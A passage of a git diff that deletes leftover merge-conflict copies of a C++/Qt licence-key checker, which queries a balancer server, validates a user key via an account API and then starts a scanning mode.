KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.BASE.2427.cpp b/CheckKey_Th.cpp.BASE.2427.cpp deleted file mode 100644 index e69de29..0000000 diff --git a/CheckKey_Th.cpp.BASE.2593.cpp b/CheckKey_Th.cpp.BASE.2593.cpp deleted file mode 100644 index e69de29..0000000 diff --git a/CheckKey_Th.cpp.BASE.2715.cpp b/CheckKey_Th.cpp.BASE.2715.cpp deleted file mode 100644 index e69de29..0000000 diff --git a/CheckKey_Th.cpp.BASE.2915.cpp b/CheckKey_Th.cpp.BASE.2915.cpp deleted file mode 100644 index e69de29..0000000 diff --git a/CheckKey_Th.cpp.LOCAL.2427.cpp b/CheckKey_Th.cpp.LOCAL.2427.cpp deleted file mode 100644 index 6ee1ba7..0000000 --- a/CheckKey_Th.cpp.LOCAL.2427.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { - - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { - - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { - - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; - - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.LOCAL.2593.cpp b/CheckKey_Th.cpp.LOCAL.2593.cpp deleted file mode 100644 index 6ee1ba7..0000000 --- a/CheckKey_Th.cpp.LOCAL.2593.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { - - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { - - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { - - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; - - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.LOCAL.2715.cpp b/CheckKey_Th.cpp.LOCAL.2715.cpp deleted file mode 100644 index 6ee1ba7..0000000 --- a/CheckKey_Th.cpp.LOCAL.2715.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { - - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { - - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { - - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; - - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.LOCAL.2915.cpp b/CheckKey_Th.cpp.LOCAL.2915.cpp deleted file mode 100644 index 6ee1ba7..0000000 --- a/CheckKey_Th.cpp.LOCAL.2915.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if 